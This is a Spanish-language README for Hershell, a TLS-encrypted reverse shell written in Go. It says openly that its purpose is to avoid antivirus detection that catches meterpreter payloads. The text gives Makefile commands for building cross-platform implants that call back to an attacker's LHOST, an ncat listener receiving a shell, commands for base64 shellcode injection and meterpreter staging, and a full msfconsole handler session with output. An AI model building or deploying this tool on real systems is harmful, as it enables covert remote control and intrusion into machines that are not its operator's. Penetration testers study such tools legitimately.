
Hershell es un simple reverse shell TCP escrito en Go.
NOTA: el proyecto ha sido bifurcado en este repositorio, revise allí para cualquier otro desarrollo.
Hershell es un simple shell reverso TCP escrito en Go.
Utiliza TLS para asegurar las comunicaciones y ofrece una función de fijación de huella digital de clave pública del certificado, evitando la interceptación de tráfico.
Los SO compatibles son:
Aunque los payloads de meterpreter son geniales, a veces son detectados por productos antivirus.
El objetivo de este proyecto es obtener un shell reverso simple que pueda funcionar en múltiples sistemas.
Ya que está escrito en Go, puedes compilar de forma cruzada el código fuente para la arquitectura deseada.
Como este es un proyecto Go, necesitarás seguir la documentación oficial para configurar tu entorno Golang (con la variable de entorno $GOPATH).
Luego, simplemente ejecuta go get github.com/sysdream/hershell para obtener el proyecto.
Para simplificar las cosas, puedes usar el Makefile proporcionado. Puedes establecer las siguientes variables de entorno:
GOOS : el SO objetivoGOARCH : la arquitectura objetivoLHOST : la IP o nombre de dominio del atacanteLPORT : el puerto del listenerPara las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.
Sin embargo, algunos objetivos auxiliares están disponibles en el Makefile:
depends : genera el certificado del servidor (requerido para el shell reverso)windows32 : construye un ejecutable de Windows de 32 bits (PE 32 bits)windows64 : construye un ejecutable de Windows de 64 bits (PE 64 bits)linux32 : construye un ejecutable de Linux de 32 bits (ELF 32 bits)linux64 : construye un ejecutable de Linux de 64 bits (ELF 64 bits)macos32 : construye un ejecutable de Mac OS de 32 bits (Mach-O)macos64 : construye un ejecutable de Mac OS de 64 bits (Mach-O)Para esos objetivos, solo necesitas establecer las variables de entorno LHOST y LPORT.
Una vez ejecutado, se te proporcionará un shell remoto.
Este shell interactivo personalizado te permitirá ejecutar comandos del sistema a través de cmd.exe en Windows, o /bin/sh en máquinas UNIX.
Se admiten los siguientes comandos especiales:
run_shell : te proporciona un shell del sistema (permitiéndote, por ejemplo, cambiar de directorio)inject <base64 shellcode> : inyecta un shellcode (codificado en base64) en la misma memoria del proceso y lo ejecuta (solo Windows por el momento).meterpreter [tcp|http|https] IP:PORT : se conecta a un multi/handler para obtener un meterpreter de etapa 2 reverse tcp, http o https desde metasploit, y ejecuta el shellcode en memoria (solo Windows por el momento)exit : sale correctamenteEn primer lugar, necesitarás generar un certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Para windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Para Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Para Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Se pueden usar varias herramientas para manejar conexiones entrantes, como:
python/shell_reverse_tcp_ssl)Aquí hay un ejemplo con ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
ADVERTENCIA: esto actualmente solo funciona para la plataforma Windows.
El escalonamiento de meterpreter actualmente admite los siguientes payloads :
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPara usar el correcto, solo especifica el transporte que deseas usar (tcp, http, https)
Para usar la función de escalonamiento de meterpreter, solo inicia tu handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Luego, en hershell, usa el comando meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Una nueva sesión de meterpreter debería aparecer en msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>